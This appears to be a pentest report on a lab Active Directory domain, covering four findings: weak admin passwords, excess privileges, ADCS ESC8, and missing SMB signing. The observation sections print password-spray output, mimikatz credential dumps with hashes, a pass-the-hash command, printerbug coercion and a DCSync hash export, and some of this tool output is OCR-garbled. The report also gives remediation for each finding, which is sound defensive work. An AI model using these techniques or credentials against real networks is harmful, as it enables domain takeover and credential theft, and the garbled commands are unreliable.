CONFIDENTIAL

Test AD Audit

PENTEST REPORT

Executed by Cerberus Security SUNDAY, DECEMBER 10, 2023





MODIFICATIONS HISTORY

Version	Date	Author	Description
0.1	12/10/2023	Daniel Scheidt	Initial Version
0.2	12/10/2023	Daniel Scheidt	Technical Details
1.0	12/10/2023	Daniel Scheidt	Finalization



TABLE OF CONTENTS

General Information	4
Scope	4
Organization	4
Executive Summary	5
Vulnerabilities summary	6
Technical Details	7
Extremely weak Admin Credentials	7
Deficient Roles and Authorization Concept	8
ADCS Misconfiguration ESC8	12
SMB Signing not activated	16



GENERAL INFORMATION

Scope

Testcompany has mandated us to perform security tests on the following scope:

• mcafeelab.local

ORGANIZATION

The testing activities were performed between 12/08/2023 and 12/10/2023.



EXECUTIVE SUMMARY

Cerberus Security was tasked with conducting an Active Directory audit for the *mcafeelab.local* domain. The testing activities were performed between 12/08/2023 and 12/09/2023.

The focus was on identifying the most critical attack surface as well as low hanging fruits, that would most likely be abused in a real world scenario were an adversary would gain foothold inside the corporate network. This way the IT department is able to focus on the most urgent problems and raise the maturity level by fixing the problems found.

The most critical findings are about weak passwords and a deficient roles and authorization concept for highly privileged accounts. Passwords can easily be guessed, and the accounts are used for tasks and on systems they are not meant to be. This enables attackers to easily escalate privileges inside the domain and completely take over the corporate environment, allowing access to mostly all data and impersonation of each and every employee.

Other misconfigurations and vulnerabilities were identified that open up unnecessary attack surface. An attacker inside the network can move laterally and escalate privileges that again allow to compromise the whole domain, what ultimately might lead to data theft, persistence inside the network or the encryption of sensitive files to blackmail the company.

All flaws found differ in the efforts needed to tackle them. Most of them come with low to medium timely and resource wise efforts to fix them, allowing the company to relatively easy raise the security level, making it harder for adversaries to carry out their attacks. However, especially the complete lack of a roles and authorization concept, is something that needs more planning and also time, to get it right and secure.





VULNERABILITIES SUMMARY

Following vulnerabilities have been discovered:

Risk	Page	Vulnerability	
Critical	7	Extremely weak Admin Credentials	
Critical	8	Deficient Roles and Authorization Concept	
High	12	ADCS Misconfiguration ESC8	
Medium	16	SMB Signing not activated	



TECHNICAL DETAILS

EXTREMELY WEAK ADMIN CREDENTIALS

SEVERITY	Critical
AFFECTED SCOPE	Mcafeelab.local
DESCRIPTION	 Accounts with critical privileges like Domain Admins, Firewall Admins, Backup Admins and alike should always be handled with care and secured accordingly. People using these accounts need to be aware of the potential risks that arise when their accounts get compromised: Data breaches and theft of sensitive information: If a hacker gains access to an administrative account, they may be able to view, steal or manipulate confidential data stored on the system, such as personal information, financial records, or trade secrets. System damage and disruption of services: The attacker may use the administrative privileges to cause harm to the system, for example, by deleting critical files, modifying system settings, or shutting down servers. This could result in significant downtime and disruption of services for the organization and its customers. Spread of malware and further compromise: The attacker may use the compromised administrative account to install malware, such as viruses, Trojans, or ransomware, which can spread to other systems and devices on the network, leading to additional security breaches and compromise. This could result in significant damage to the organization's reputation and financial loss. In this case the password complexity of these administrative accounts must be rated as extremely weak. The password is either guessable or if an attacker gets a hold on hashed material easily recoverable.
OBSERVATION	During the course of the investigation a password spray attack with common passwords was executed. It turned out, that the user DA, who happens to be a member of the Domain Administrators group, has a very weak and easily guessable password. Confirm Password Spray Are you sure you want to perform a password spray against 13 accounts? [Y] Yes [N] No [?] Help (default is "Y"): y i[*] Password spraying has begun with 1 passwords [*] This might take a while depending on the total number of users [*] Now trying password Sommer2023! against 13 users. Current time is 12:54 PM [*] Writing successes to [*] SUCCESS! User:DA Password:Sommer2023! [*] Password spraying is complete COMMANDO 12/9/2023 12:54:46 PM PS C:\Tools\DomainPasswordSpray > Image 1 – Sommer2023! as password for a Domain Administrator
REMEDIATION	Privileged accounts should have extremely strong passwords. They should be at least 20 characters long, and comply to complexity with uppercase, lowercase, numbers and special characters. The



	passwords should be randomly generated, no words! Password blacklisting can be issued to help here. Password reusage should be avoided at all costs.
	Personal holding higher privileges needs to be trained and made aware of the possible risks.
	Saving credentials in a Web Browser should also be avoided.
	Additionally these accounts should be hardened via Multi Factor Authentication where possible.
REFERENCES	

DEFICIENT ROLES AND AUTHORIZATION CONCEPT

Severity	Critical
AFFECTED SCOPE	Mcafeelab.local
DESCRIPTION	 A Roles and Authorization Concept purpose is to restrict access to sensitive resources as much as possible. This can be achieved through appropriate measures like e.g.: Limiting the number of users that have access to the resource Limiting the access rights to the absolute minimum each user needs - concept of least privilege Limiting the sources which have access - e.g. from where can a valid user access an application Defining a password policy and MFA requirements
OBSERVATION	During the audit it was observed that there are some misconceptions and faulty configurations in place when it comes to distinguish between different roles and users. The members of the Domain Admins group in the Active Directory have administrative authorizations on all clients and servers in the network by default. If an attacker obtains the access data of one of these users, the entire domain environment can be compromised. These accounts should therefore only be used with appropriate care and caution on assets that they need to work on - most likely only the Domain Controllers. They are generally only required for very specific tasks, such as raising the domain level or a schema extension. Microsoft recommends using only one domain administrator account, and maybe a disabled breakglass account as backup. The member count of the <i>Domain Admins</i> group was too high in the <i>mcafeelab.local</i> domain.



In this special case, the low privileged user lowpriv which has a weak and easily guessable password of low, happens to hold local administrative rights on the system WIN10X64.mcafeelab.local.





	Authentication Id : 0 ; 722417 (0000000:000b05f1) Session : Interactive from 1 User Name : DA Domain : MCAFEELAB Logon Server : DC2016-2 Logon Time : 10.12.2023 14:52:05 SID : S-1-5-21-2333275634-344505949-1270943817-4103 msv : [00000003] Primary * Username : DA * Domain : MCAFEELAB * NTLM : a74f5891f1a74759e93712fb7a26a88d * SHA1 : 49aae36fb509ff64cdc8b6152f2ce7253d64aa9b * DPAPI : ccd304429de724bcbd1df70798e41dde tspkg :				
	Figure 6: Credential access to the NT hash of the user DA With a pass the hash attack it was ultimately possible to impersonate the Domain Admin user and access the administrative <i>C\$</i> share on one of the Domain Controllers.				
	<pre>initiatz # sekurisa::pth /user:DA /domain:mcafeelab.local /ntla:a74f5891f1a74759e937112fb7a26a88d cmd iser : DA work : mcoffield iser : DA work :</pre>				
	Figure 7: PTH attack against one of the Domain Controllers				
Remediation	Implement a sufficient and secure roles and authorization concept. Review the access rights to the systems and only grant them according to the principle of least privilege. Change weak passwords and make sure that high privileged accounts are secured as much as possible. Follow best practices like the TIER model from Microsoft (see references).				
References	https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access- model				



ADCS MISCONFIGURATION ESC8

Severity	High
AFFECTED SCOPE	DC2016-2.mcafeelab.local
DESCRIPTION	Active Directory Certificate Services (ADCS) is a Windows server role that provides customizable services for issuing and managing public key infrastructure (PKI) certificates. It enables organizations to secure communication and authenticate users, computers, and services within their network. In 2021, SpecterOps released a research paper [1] that contained a lot of novel attack vectors against ADCS. ESC8 is a privilege escalation vulnerability baseed around the fact that attackers can relay an authentication to the (default enabled and to be found at http://caserver/certsrv/) HTTP enrollment endpoint, and grab certificates for the relayed identities in order to impersonate them. When using a certificate template with client or server authentication, Kerberos tickets can then be created from the respective certificate and used for authentication on other systems in the network. If highly privileged systems like Domain Controllers are prone to something like Petitpotam or other coercion attack tools, an attacker would be able to impersonate them and compromise the whole domain. Same is true if an adversary can make a highly privileged user authenticate to his attacker system.
OBSERVATION	<pre>It was observed that the default enrollment endpoint was used and available at http://DC2016- 2.mcafeelab.local/certsrv. Allow ManageCA, ManageCertificates MCAFEELAB\Organisations- Enrollment Agent Restrictions : None Legacy ASP Enrollment Website : http://DC2016-2.mcafeelab.local/certsrv/ Enabled Certificate Templates: ESC4 1 Image 8 - Exposed enrollment endpoint for certificates As both Domain Controllers had the Spooler Service running, it was possible to coerce authentication to our attack system. (root @kali)-[/opt] # python printerbug.py mcafeelab/lowpriv:low@10.55.0.1 10.55.0.30 [*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Attempting to trigger authentication via rprn RPC at 10.55.0.1 [*] Bind OK [*] Got handle DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Triggered RPC backconnect, this may or may not have worked Image 9 - Coercing authentication from a DC as low privileged user The coerced authentication from DC-2016.mcafeelab.local was then relayed to the enrollment</pre>
	endpoint and a certificate could successfully be requested.











Т

COMMANDO 12/9/202	23 2:17:34 PM		
PS C:\Tools\mimik	atz\x64 > .\mimikatz.exe		
.#####. mimik	atz 2.2.0 (x64) #19041 J	an 29 2022 14:11:26	
.## ^ ##. "A La	Vie, A L'Amour" - (oe.e	20)	
## / \ ## /***	Benjamin DELPY `gentilki	.wi` (benjamin@gentilki	wi.com)
## \ / ##	<pre>> https://blog.gentilkiw</pre>	/i.com/mimikatz	
'## v ##'	Vincent LE TOUX	(vincent.letoux@gm	ail.com)
'#####'	<pre>> https://pingcastle.com</pre>	<pre>i / https://mysmartlogon</pre>	
mimikatz # lsadun	p::dcsync /all /csv /dom	ain:mcafeelab.local	
[DC] 'mcafeelab.]	local' will be the domain	1	
[DC] 'DC2016.mcaf	eelab.local' will be the	DC server	
[DC] Exporting do	omain 'mcafeelab.local'		
<pre>[rpc] Service :</pre>	ldap		
<pre>[rpc] AuthnSvc :</pre>	GSS_NEGOTIATE (9)		
502 krbtgt 8	46b6a79efd52938bb	514	
1108 epo 9)f9596219563ce6a60	66048	
3110 MJHhJAWqC	D 898621fd4a		512
3111 EbPJbIIzJ	10 f544a5e6f7	<u>t</u>	512
3604 PWND o	l0173ae6e7d9335d00	512	
3606 HtXgprbYA	G 056ce25052)	512
3617 test 9)f9596219563ce6a60	512	
3618 pimmel 3	b1b47e42e0463276e	512	
3621 testadmir	a6908ddab1		512
1609 WIN7X86\$	1acee80f98	7	4096
3639 WIN7X64\$	ec777cb72a		4096
3641 evil123\$	17498924c5	i	4096
3642 evil1234	17498924c5	i	4096
3608 printserv	vice 9ec48bdbea	<u>1</u>	66048
4102 localadmi	n 0cb6948805	7	512
3640 DHCP_svc	a6908ddab1		66048
1604 ds a	6908ddab16fcf555f	4260352	
2607 god a	6908ddab16fcf555f	66048	
500 Administr	ator a6908ddab1		66048
2602 DC2016-2	c8a464503f		532480
4604 Testuser	a74f5891f1	l i i i i i i i i i i i i i i i i i i i	512
3102 service f	8a7055ee54e7d721e	4260352	
4603 EPO\$ 8	Bb5cc9451357aa2d81	4096	
4602 WIN10X64	aec4e91d22		4096
2604 lowpriv 4	lbdaf9484819a07756	66048	
4103 DA a	74f5891f1a74759e9	512	
1001 DC2016\$ 4	ld2fc40f25eef30eb6	532480	
• • • •			
	Image 12 – DC sync attack as	DC2016\$ account	
 If possible and not need	led completely disable the enroll	ment endpoint on the CA. The US	Slogs might
he of help dotormining	if it is acutally used or not	the chapoint on the CA. The lic	
If you connect disable the	a and point UTTPS about the second	only instand of LITTO	
If you cannot disable th	e enapoint, HTTPS should be used	i only, instead of HTTP.	



	Disable NTLM authentication at the system and IIS level. If disabling NTLM is infeasible, enforce HTTPS and enable Extended Protection for Authentication.
	A more detailed remediation guide can be found in the official research paper under <i>Harden AD CS HTTP Endpoints – PREVENT8</i> .
REFERENCES	[1] https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

SMB SIGNING NOT ACTIVATED

Severity	Medium
AFFECTED SCOPE	Mcafeelab.local
DESCRIPTION	 SMB (Server Message Block) signing is a security feature that is used to digitally sign SMB packets to ensure their authenticity and integrity. This helps to prevent man-in-the-middle (MitM) attacks, where an attacker intercepts and modifies SMB packets in transit, by allowing the recipient to verify that the packets were sent by an authenticated sender and have not been tampered with. The most widely known attack that abuses the lack of SMB signing is relaying. SMB signing can be enabled or disabled on both the client and server side and is supported on Windows Server and Windows client operating systems. It is typically used in enterprise environments to secure file sharing and other types of data transfer over the network.
OBSERVATION	On all systems identified inside the mcafeelab.local domain, there was no SMB signing enabled. Hence all systems are prone to according relay attacks. (CrackHapExec) (1001) (/opt/CrackHapExec/cme) (CrackHapExec) (1001) (/opt/CrackHapExec/cme) (SMB 10.55.0.1 445 DC2010 (1001) (SMBV1:True) (SMB 10.55.0.1 445 DC2010 (1001) (/opt/CrackHapExec/cme) (SMBV1:True) (SMB 10.55.0.5 445 EP0 (1001) (/opt/CrackHapExec/cme) (/omain:mcafeelab.local) (signing:False) (SMBV1:False) (SMB 10.55.0.5 445 EP0 (1001) (/opt/CrackHapExec/cme) (/omain:mcafeelab.local) (signing:False) (SMBV1:False) (SMB 10.55.0.150 445 COMMANDO (1001) (/omain:mcafeelab.local) (signing:False) (SMBV1:False) (SMB 10.55.0.150 445 COMMANDO (1001) (/omain:mcafeelab.local) (signing:False) (SMBV1:False) (SMB 10.55.0.150 445 COMMANDO (1001) (/opt/CrackHapExec) (/opt/CrackHapExec) (SMB 10.55.0.150 445 COMMANDO (1001) (/opt/CrackHapExec) (/opt/Crac
REMEDIATION	SMB signing should be enabled and enforced on both the client and server side. This can be done via GPO. Bear in mind that since SMBv2, there no longer is an option to agree on signing. You can either enforce it or not.
REFERENCES	https://luemmelsec.github.io/Relaying-101/ https://techcommunity.microsoft.com/t5/storage-at-microsoft/configure-smb-signing-with- confidence/ba-p/2418102